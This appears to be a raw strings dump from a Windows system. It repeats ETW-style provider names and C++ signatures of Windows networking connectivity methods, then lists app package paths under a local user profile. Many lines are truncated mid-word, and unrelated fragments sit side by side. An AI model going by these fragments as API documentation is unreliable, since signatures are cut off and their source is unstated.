Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
dows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListM noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **)(
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateNetworkItem(unsigned int,struct Windows::Networking::Connectivity::INetworkItem **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateNetworkItem(unsigned int,struct Windows::Networking::Connectivity::INetworkItem **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_NetworkAdapter(struct Windows::Networking::Connectivity::INetworkAdapter **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
onnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
@ged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateCr
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanext
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateNetworkItem(unsigned int,struct Windows::Networking::Connectivity::INetworkItem **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_NetworkAdapter(struct Windows::Networking::Connectivity::INetworkAdapter **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWlanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWlanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWwanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWwanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_NetworkAdapter(struct Windows::Networking::Connectivity::INetworkAdapter **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,e
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_OverDataLimit(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_OverDataLimit(unsigned char *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking(
ackages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG
C:\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe
'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.Photos_8wekyb3d8bbwe/LocalCache
>AppData (C:\Users\job\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe)
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
C:\Users\job\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
SMicrosoftWindows.CrossDevice_cw5n1h2txyewy
Microsoft.WindowsAlarms_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
R'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAlarms_8wekyb3d8bbwe
z'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
>AppData (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
